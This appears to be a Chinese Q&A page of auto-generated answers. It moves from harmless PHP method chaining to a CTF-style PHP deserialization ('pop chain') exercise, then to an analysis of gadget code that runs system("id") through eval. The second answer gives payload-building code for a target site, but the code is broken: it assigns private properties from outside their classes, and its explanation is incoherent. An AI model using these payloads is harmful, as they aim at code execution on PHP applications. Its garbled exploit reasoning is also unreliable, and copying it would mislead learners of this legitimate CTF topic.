PHP实现return a() ->b() ->c()
时间: 2024-05-04 16:22:08 浏览: 12
这是一个链式调用的例子,可以使用PHP的魔术方法 __call() 来实现。代码如下:
```
class A {
public function a() {
echo "a\n";
return $this;
}
public function b() {
echo "b\n";
return $this;
}
public function c() {
echo "c\n";
return $this;
}
public function __call($name, $arguments) {
echo "Method {$name} does not exist";
}
}
$a = new A();
$a->a()->b()->c();
```
输出结果为:
```
a
b
c
```
相关问题
请对以下代码构造一段pop链,这只是一道试题:<?php highlight_file(FILE); class T1{ private $a; function __destruct(){ 'a'.$this->a; } } class T2{ private $b; function __toString() { return $this->b->test(); } function __call($fun,$arg) { return $this->b->n; } } class T3{ private $c; function __get($key){ eval($this->c); } } unserialize($_GET[a]); ?>
首先,我们需要构造三个类的实例,分别是 T1、T2、T3。然后,我们需要将它们串联起来,构造 pop 链。
这里有一个比较巧妙的构造 pop 链的方式,就是在反序列化时,将一个字符串类型的对象序列化成一个对象类型的对象,然后在该对象的 __toString() 方法中触发下一个对象的 __destruct() 方法。
下面是一个构造 pop 链的示例代码:
```
<?php
class T1 {
private $a;
function __destruct() {
'a'.$this->a;
}
}
class T2 {
private $b;
function __toString() {
return $this->b->test();
}
function __call($fun, $arg) {
return $this->b->n;
}
}
class T3 {
private $c;
function __get($key) {
eval($this->c);
}
}
$t1 = new T1();
$t2 = new T2();
$t2->b = $t1;
$t3 = new T3();
$t3->c = 'echo "Hello World!";';
$t3->c = urlencode(serialize($t3));
$t2->b = $t3;
$payload = urlencode(serialize($t2));
echo $payload;
?>
```
在上面的代码中,我们首先创建了 T1、T2、T3 三个类的实例,然后将它们串联起来,构造 pop 链。具体地说,我们将 $t1 对象赋值给 $t2->b 属性,将 $t3 对象赋值给 $t2->b->b 属性(即 $t1->b 属性),最后将 $t3 对象序列化,并将其赋值给 $t3->c 属性。注意,这里我们先将 $t3 对象的 $c 属性赋值为一个字符串,然后对其进行序列化,这样在反序列化时,$c 属性就会变成一个对象类型的属性,从而触发 $t3 对象的 __get() 方法,执行 eval() 函数,进而触发下一个对象的 __destruct() 方法。
最后,我们将 $t2 对象进行序列化,并将其 URL 编码后输出。这个序列化后的字符串就是我们需要提交给目标网站的 payload。
当目标网站收到我们提交的 payload 时,会进行反序列化操作,并触发 pop 链中的各个对象的特定方法,从而实现攻击。
请分析以下代码的输出结果:<?php // 构造 Test 类,使得 __get 方法可以执行任意 PHP 代码 class Test { private $b; public function __get($name) { eval($this->b); } } // 构造 Payload 类,使得 $a 属性可以被赋值为任意对象 class Payload { public $c; } // 构造 PopChain 类,使得 $b 属性可以被赋值为一个 Payload 对象,并在 __destruct 方法中触发 Test 类的 __get 方法 class PopChain { private $a; private $b; public function __construct($obj) { $this->a = $obj; } public function __destruct() { $this->a->c; } public function createTest($code) { $this->b = new Test(); $this->b->b = $code; return $this; } } // 反序列化并保存到变量 $obj 中 $obj = unserialize($_GET['ser']); // 构造 pop 链 $popChain = new PopChain(new Payload()); $popChain->createTest("system(\"id\");")->b = $popChain->a; // 触发 pop 链 unset($obj); ?>
这段代码是一个 PHP 反序列化漏洞的利用代码,如果攻击者将经过序列化的有效负载作为 URL 参数传递给应用程序,并且应用程序反序列化该参数,则攻击者可以执行任意 PHP 代码。
具体来说,代码创建了三个类:Test、Payload 和 PopChain。Test 类的 __get 方法可以执行任意 PHP 代码,Payload 类可以被赋值为任意对象,PopChain 类的 $b 属性可以被赋值为一个 Payload 对象,并在 __destruct 方法中触发 Test 类的 __get 方法。
利用代码首先从 URL 参数中反序列化一个对象,并将其保存到变量 $obj 中。然后,它构造了一个 pop 链,其中 $popChain->a 属性被赋值为一个 Payload 对象,$popChain->createTest("system(\"id\");") 方法创建了一个 Test 对象,并将其 $b 属性设置为 "system(\"id\");"。最后,$popChain->b 被设置为 $popChain->a,这意味着在 $popChain 对象被销毁时,将调用 Test 对象的 __get 方法并执行 "system(\"id\");"。
因此,如果攻击者将经过序列化的有效负载作为 URL 参数传递给应用程序,则应用程序将反序列化该参数,并执行 "system(\"id\");" 命令,导致攻击者执行任意命令。
相关推荐
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![gz](https://img-home.csdnimg.cn/images/20210720083447.png)
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)